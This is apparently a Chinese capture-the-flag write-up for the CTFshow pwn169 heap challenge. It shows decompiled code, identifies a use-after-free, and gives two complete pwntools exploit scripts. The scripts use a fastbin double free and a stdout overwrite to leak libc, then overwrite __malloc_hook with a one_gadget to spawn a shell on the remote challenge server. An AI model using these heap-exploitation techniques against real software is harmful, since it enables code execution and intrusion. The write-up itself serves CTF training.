CTFshow-pwn169
[!NOTE]
该怎么泄漏呢?
- 远程环境:Ubuntu 16.04
libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11
checksec 看一下,保护全开
niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn169
[*] '/home/niuyingying/ctf/pwn/pwn169'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
分析程序流程,大致如下
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("1. create you skills");
puts("2. delete you skills");
puts("3. rename your skills");
puts("choice >> ");
return __readfsqword(0x28u) ^ v1;
}
__int64 create()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("wlecome input your size of skills: ");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > 0x60 )
{
printf("The size of skills is too dangers!!");
exit(0);
}
printf("input index: ");
v2 = read_int();
v3 = malloc(v1);
if ( !v3 )
{
printf("malloc error");
exit(0);
}
dword_202068[4 * v2] = v1;
*((_QWORD *)&unk_202060 + 2 * v2) = v3;
puts("input your name:");
read_n(*((void **)&unk_202060 + 2 * v2), v1);
return 0;
}
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = read_int();
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 rename()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx: ");
v1 = read_int();
puts("new content:");
read_n(*((_QWORD *)&unk_202060 + 2 * v1), (unsigned int)dword_202068[4 * v1]);
puts("Done !");
return __readfsqword(0x28u) ^ v2;
}
存在 UAF 漏洞且没有 show 函数,这道题比 pwn162 还要简单,可以直接套用脚本 pwn162 - AurY1n's Blog
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn169')
libc = ELF('./libc-2.23.so')
# io = process('./pwn169')
io = remote("pwn.challenge.ctf.show",28274)
# io = gdb.debug('./pwn169', gdbscript='set pagination off\nbreakrva 0xCB9\nbreakrva 0xD57\nbreakrva 0xE19\nc')
def create(size,i,text):
io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(size).encode())
io.recvuntil(b"input index: ")
io.sendline(str(i).encode())
io.recvuntil(b"input your name:\n")
io.send(text)
def delete(i):
io.recvuntil(b"choice >> \n")
io.sendline(b"2")
io.recvuntil(b"input idx :")
io.sendline(str(i).encode())
def rename(i,text):
io.recvuntil(b"choice >> \n")
io.sendline(b"3")
io.recvuntil(b"input idx: ")
io.sendline(str(i).encode())
io.recvuntil(b"new content:\n")
io.send(text)
key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff
create(0x60,0,12 * p64(0x71))
create(0x60,1,12 * p64(0x71))
create(0x10,2,p64(0xdeadbeef))
delete(1)
delete(0)
delete(1)
create(0x60,3,b"\x60")
create(0x60,4,b"\x60")
create(0x60,5,b"\x60")
create(0x60,6,p64(0) + p64(0x71))
delete(1)
rename(6,p64(0) + p64(0x91))
create(0x10,7,p64(0xdeadbeef))
delete(1)
rename(6,p64(0) + p64(0x71) + p16(key))
create(0x60,8,p64(0xdeadbeef))
io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(0x60).encode())
io.recvuntil(b"input index: ")
io.sendline(str(8).encode())
io.recvuntil(b"input your name:\n")
payload1 = b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58"
io.send(payload1)
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
# 0x7ffff7bc56a3 - 0x7ffff7800000
libc_base = leak - 0x3c56a3
print(hex(libc_base))
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
delete(6)
delete(1)
delete(6)
create(0x60,9,p64(malloc_hook - 0x23))
create(0x60,10,p64(malloc_hook - 0x23))
create(0x60,11,p64(malloc_hook - 0x23))
payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
create(0x60,12,payload2)
io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(0x10).encode())
io.recvuntil(b"input index: ")
io.sendline(str(13).encode())
io.interactive()
由于这道题新增 rename() 函数,所以完全可以写的更简单
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
elf = ELF('./pwn169')
libc = ELF('./libc-2.23.so')
# io = process('./pwn169')
# io = remote("pwn.challenge.ctf.show",28274)
# io = gdb.debug('./pwn169', gdbscript='set pagination off\nbreakrva 0xCB9\nbreakrva 0xD57\nbreakrva 0xE19\nc')
def create(size,i,text):
io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(size).encode())
io.recvuntil(b"input index: ")
io.sendline(str(i).encode())
io.recvuntil(b"input your name:\n")
io.send(text)
def delete(i):
io.recvuntil(b"choice >> \n")
io.sendline(b"2")
io.recvuntil(b"input idx :")
io.sendline(str(i).encode())
def rename(i,text):
io.recvuntil(b"choice >> \n")
io.sendline(b"3")
io.recvuntil(b"input idx: ")
io.sendline(str(i).encode())
io.recvuntil(b"new content:\n")
io.send(text)
for i in range(0x100):
try:
io = remote("pwn.challenge.ctf.show", 28274)
key = (libc.sym["_IO_2_1_stdout_"] - 0x43) & 0xffff
create(0x58, 0, b"\x00" * 0x48 + p64(0x61))
create(0x60, 1, b"\x00")
create(0x18, 2, b"\x00")
create(0x58, 3, b"\x00")
delete(1)
delete(3)
delete(0)
rename(0, b"\x50")
create(0x58, 4, b"\x00")
create(0x58, 5, b"\x00" * 8 + p64(0x91))
delete(1)
rename(1, p16(key))
rename(5, b"\x00" * 8 + p64(0x71))
create(0x60, 6, b"\x00")
create(0x60, 7, b"\x00" * 0x33 + p64(0xFBAD1887) + p64(0) * 3 + b"\x58")
leak = u64(io.recv(6).ljust(8, b'\x00'))
print(hex(leak))
# 0x7ffff7bc56a3 - 0x7ffff7800000
libc_base = leak - 0x3c56a3
print(hex(libc_base))
one_gadget = libc_base + 0x4526a
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
delete(1)
rename(1, p64(malloc_hook - 0x23))
create(0x60, 1, b"\x00")
payload2 = b"\x00" * 0xb + p64(one_gadget) + p64(realloc + 0x10)
create(0x60, 8, payload2)
io.recvuntil(b"choice >> \n")
io.sendline(b"1")
io.recvuntil(b"wlecome input your size of skills: ")
io.sendline(str(0x10).encode())
io.recvuntil(b"input index: ")
io.sendline(str(13).encode())
io.interactive()
break
except EOFError:
try:
io.close()
except:
pass

浙公网安备 33010602011771号